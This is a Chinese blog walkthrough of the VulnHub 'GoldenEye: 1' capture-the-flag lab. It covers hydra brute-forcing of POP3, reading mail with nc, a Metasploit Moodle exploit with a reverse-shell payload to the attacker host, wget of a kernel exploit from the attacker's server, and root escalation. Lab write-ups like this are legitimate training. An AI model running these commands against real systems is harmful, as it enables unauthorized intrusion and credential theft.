当前位置: 首页 > news >正文

GoldenEye: 1靶场渗透

GoldenEye: 1

来自 <GoldenEye: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.223

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.223

服务80端口开放的http服务

根据提示访问/sev-home/页面

结果立马弹出来一个登录弹窗

4,查看页面源代码

view-source:http://192.168.23.223/terminal.js

根据页面可以得到信息:

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
解密得到用户登录密码

用户名boris、natalya

密码:InvincibleHack3r

5,登录成功

GoldenEye (黄金眼)

GoldenEye 是一个绝密的苏联原始武器项目。既然您有访问权限,那么您肯定拥有绝密许可,并有资格成为经过认证的 GoldenEye 网络运营商 (GNO)

请向合格的 GNO 主管发送电子邮件,以接受在线 GoldenEye作员培训,成为 GoldenEye 系统的管理员

请记住,由于通过隐匿性实现安全性非常有效,因此我们将 pop3 服务配置为在非常高的非默认端口上运行

根据提示就能够推测pop服务运行在nmap扫描得到的55007端口上。并且查看页面源代码得到:

view-source:http://192.168.23.223/sev-home/

6,将两个用户名(boris,natalya)保存到文件user.txt中,使用hydra爆破这两个用户登录pop的密码

hydra命令参数

  • -s:指定端口
  • 192.168.23.223:ip地址不加参数 直接写
  • pop3:服务名字不加参数 直接写
  • -L:字典文件
  • -v:显示详细信息

hydra 192.168.23.223 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v

成功破解出来账户密码

login: natalya   password: bird

login: boris   password: secret1!

用nc连接pop3服务,登录这两个账号查看邮箱里面的邮件信息

nc 192.168.23.223 55007

user natalya

pass bird

list

retr 1

user boris

pass secret1!

list

retr 1

得到提示如下:

  • 用户名 alec
  • 网站用户名密码(不是邮箱用户名密码) xenia/RCP90rulez!
  • 设置本机系统host文件添加一行内容为 192.168.23.223 severnaya-station.com

7,访问网站域名severnaya-station.com。

Loading...

Loading... 在这个页面尝试登录

账户密码就用此前收集到的,登录成功

在My profile——Messages——选择Recent conversations看到一个doak发来的消息,得到新的邮箱用户名doak

得到的信息,然后使用hydra爆破出来用户登录账户密码

  • 邮件用户名:doak
  • cms版本:moodle 2.2.3

hydra 192.168.23.223 -s 55007 pop3 -l doak -P /usr/share/wordlists/fasttrack.txt -v

再次登录邮件服务器查看信息

得到用户名密码dr_doak/4England!

8,登录这个用户

在"Home"-->"My profile"-->"My private files"找到了s3cret.txt

得到重要提示

007,

我能够通过明文 txt 捕获此应用程序 adm1n cr3ds。

GoldenEye 服务器中大多数 Web 应用程序中的文本都会被扫描,因此我无法在此处添加 cr3dentials。

这里有一些有趣的东西:/dir007key/for-007.jpg

另外,您可能知道,RCP-90 远优于任何其他武器,而 License to Kill 是唯一的游戏方式。

9,尝试下载/dir007key/for-007.jpg图片并分析

wget http://severnaya-station.com/dir007key/for-007.jpg

strings for-007.jpg

得到eFdpbnRlcjE5OTV4IQ==

base64解密得到xWinter1995x! 猜测是admin的密码了

10,然后再在网站登录admin用户

whatweb -v Loading...

检索moodle这个框架的版本漏洞

searchsploit moodle 2

漏洞攻击前需要在设置中修改: Home ——Site administration——Plugins——Text editors——TinyMCE HTML editor 来到此处,修改PSpellShell然后save!否则会失败

11,启动melasploit

msfconsole                       

search moodle                   

use 1                      

set username admin               

set password xWinter1995x!      

set rhost severnaya-station.com  

set targeturi /gnocertdir        

set payload cmd/unix/reverse    

set lhost 192.168.23.182    

exploit 

成功getshell打进服务器网站,然后python启动一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

12,查看内核版本,期望通过过低的内核版本来获取公开的exp以实现权限提升

searchsploit local privilege Escalation |grep "Kernel 3"

这里使用37292.c

searchsploit -m 37292.c

这个靶场在枚举信息知道:无法进行GCC编译,需要编译脚本的工具为cc

vim 37292.c   

第143行将gcc改为cc  

然后在本目录下开启http服务:python -m http.server

去往/tmp目录下下载脚本

wget http://192.168.23.182:8000/37292.c   

成功下载后执行cc编译:

cc -o exp 37292.c   

错误原因分析

1. unshare 函数报错

  • 错误信息:implicit declaration of function ‘unshare’
  • 原因:unshare 是Linux特有的系统调用,需要包含头文件 <sched.h>,并启用GNU扩展宏 _GNU_SOURCE。
  • 解决方案
    #define _GNU_SOURCE    // 启用GNU扩展(必须放在文件最顶部)
    #include <sched.h>     // 包含 unshare 和 clone 的声明

2. clone 函数报错

  • 错误信息:implicit declaration of function ‘clone’; did you mean ‘close’?
  • 原因:clone 函数同样依赖 <sched.h> 和 _GNU_SOURCE 宏。
  • 额外检查:clone 的函数签名是否正确?
    int clone(int (*fn)(void *), void *stack, int flags, void *arg, ...);

3. waitpid 和 wait 函数报错

  • 错误信息:implicit declaration of function ‘waitpid’ 和 implicit declaration of function ‘wait’
  • 原因:未包含进程等待相关头文件 <sys/wait.h>。
  • 解决方案
    #include <sys/wait.h>  // 提供 waitpid 和 wait 的声明

完整修复步骤

  1. 在代码最顶部添加宏定义
    #define _GNU_SOURCE    // 必须放在所有头文件包含之前
  2. 补充缺失的头文件
    #include <sched.h>
    #include <sys/wait.h>
  3. 检查函数参数(如clone):
    • 确保 clone 的第一个参数是函数指针,且函数签名匹配:
      int child_exec(void *arg);  // 子进程执行函数需定义为这种形式
  4. 编译命令
    • 添加 -Wall 和 -Wextra 显示详细警告:
      gcc -Wall -Wextra 37292.c -o output
    • 若涉及线程,可能需要链接 -lpthread。

cc -o exp 37292.c 

chmod +x exp       

./exp              

id                  

cat /root/.flag.txt

成功提权并且获取到flag

http://www.dtcms.com/a/107170.html

相关文章:

  • 第四章,动态路由介绍//////RIP
  • 【Kubernetes】如何使用 kubeadm 搭建 Kubernetes 集群?还有哪些部署工具?
  • 基于昇腾NPU的YOLOv8部署
  • redis一些常用的命令(1)
  • 【零基础入门unity游戏开发——2D篇】SortingGroup(排序分组)组件
  • acwing 每日一题4889. 空调II
  • WinForm真入门(4)——窗体和控件、属性和事件 的基本概念
  • NFC碰一碰到底是什么?具体有什么功能
  • Transformer
  • Vue.js状态管理利器:Vuex核心原理与实战指南
  • VRRP(虚拟路由器冗余协议)、虚拟路由器、master路由器、backup路由器
  • 【算法数学篇】试除法求约数
  • 最长公共子串
  • (六)ASCLIN_UART模块串口DMA模式
  • 完美解决Tensorboard: No dashboards are active for the current data set.问题
  • 云曦3月断网考
  • 48. 旋转图像
  • 图神经网络实战(PyTorch Geometric处理学术网络)
  • Rock Pi 5B Linux虚拟串口设置方法
  • 无人机无线图像回传技术解析!
  • 如果数据包的最后一段特别短,如何处理?
  • 【GPT入门】第31课 ollama运行私有化部署的模型与调试
  • Linux:线程的同步与互斥
  • 大模型提示工程中,提示、补全、指令、上下文和样本这几个概念的区别是什么?
  • C/C++归纳2
  • with queue_lock: 是什么意思
  • 跨境贸易之常见的贸易术语(贸易模式)
  • 代码随想录第三十三天|动态规划part04--494.目标和、1049.最后一块石头的重量Ⅱ、474.一和零
  • 二叉树 —— 数据结构基础刷题路程
  • Linux驱动入门——设备树详解